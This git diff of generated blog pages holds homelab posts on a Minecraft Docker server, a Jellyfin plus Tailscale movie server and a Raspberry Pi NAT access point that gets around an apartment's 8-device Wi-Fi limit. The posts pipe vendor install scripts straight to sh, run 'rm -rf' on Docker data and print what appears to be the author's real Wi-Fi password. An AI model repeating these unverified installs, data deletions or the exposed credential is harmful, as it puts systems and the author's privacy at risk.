    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/matrix/page/1/index.html b/public-clearnet/tags/matrix/page/1/index.html new file mode 100644 index 0000000..cb6e19f --- /dev/null +++ b/public-clearnet/tags/matrix/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/matrix/ + \ No newline at end of file diff --git a/public-clearnet/tags/minecraft/index.html b/public-clearnet/tags/minecraft/index.html new file mode 100644 index 0000000..e395120 --- /dev/null +++ b/public-clearnet/tags/minecraft/index.html @@ -0,0 +1,11 @@ +Minecraft | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/minecraft/index.xml b/public-clearnet/tags/minecraft/index.xml new file mode 100644 index 0000000..f7c0ffe --- /dev/null +++ b/public-clearnet/tags/minecraft/index.xml @@ -0,0 +1,166 @@ +Minecraft on AlipourIm journeyshttps://blog.alipour.eu/tags/minecraft/Recent content in Minecraft on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/minecraft/page/1/index.html b/public-clearnet/tags/minecraft/page/1/index.html new file mode 100644 index 0000000..ab747a7 --- /dev/null +++ b/public-clearnet/tags/minecraft/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/minecraft/ + \ No newline at end of file diff --git a/public-clearnet/tags/movienight/index.html b/public-clearnet/tags/movienight/index.html new file mode 100644 index 0000000..68f9d84 --- /dev/null +++ b/public-clearnet/tags/movienight/index.html @@ -0,0 +1,12 @@ +Movienight | AlipourIm journeys +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/movienight/index.xml b/public-clearnet/tags/movienight/index.xml new file mode 100644 index 0000000..cc80f5c --- /dev/null +++ b/public-clearnet/tags/movienight/index.xml @@ -0,0 +1,111 @@ +Movienight on AlipourIm journeyshttps://blog.alipour.eu/tags/movienight/Recent content in Movienight on AlipourIm journeysHugo -- 0.146.0enSun, 21 Dec 2025 09:30:00 +0100Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/movienight/page/1/index.html b/public-clearnet/tags/movienight/page/1/index.html new file mode 100644 index 0000000..dc42785 --- /dev/null +++ b/public-clearnet/tags/movienight/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/movienight/ + \ No newline at end of file diff --git a/public-clearnet/tags/networking/index.html b/public-clearnet/tags/networking/index.html new file mode 100644 index 0000000..c3b5476 --- /dev/null +++ b/public-clearnet/tags/networking/index.html @@ -0,0 +1,12 @@ +Networking | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/networking/index.xml b/public-clearnet/tags/networking/index.xml new file mode 100644 index 0000000..ef75a46 --- /dev/null +++ b/public-clearnet/tags/networking/index.xml @@ -0,0 +1,593 @@ +Networking on AlipourIm journeyshttps://blog.alipour.eu/tags/networking/Recent content in Networking on AlipourIm journeysHugo -- 0.146.0enSun, 23 Nov 2025 00:00:00 +0000I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
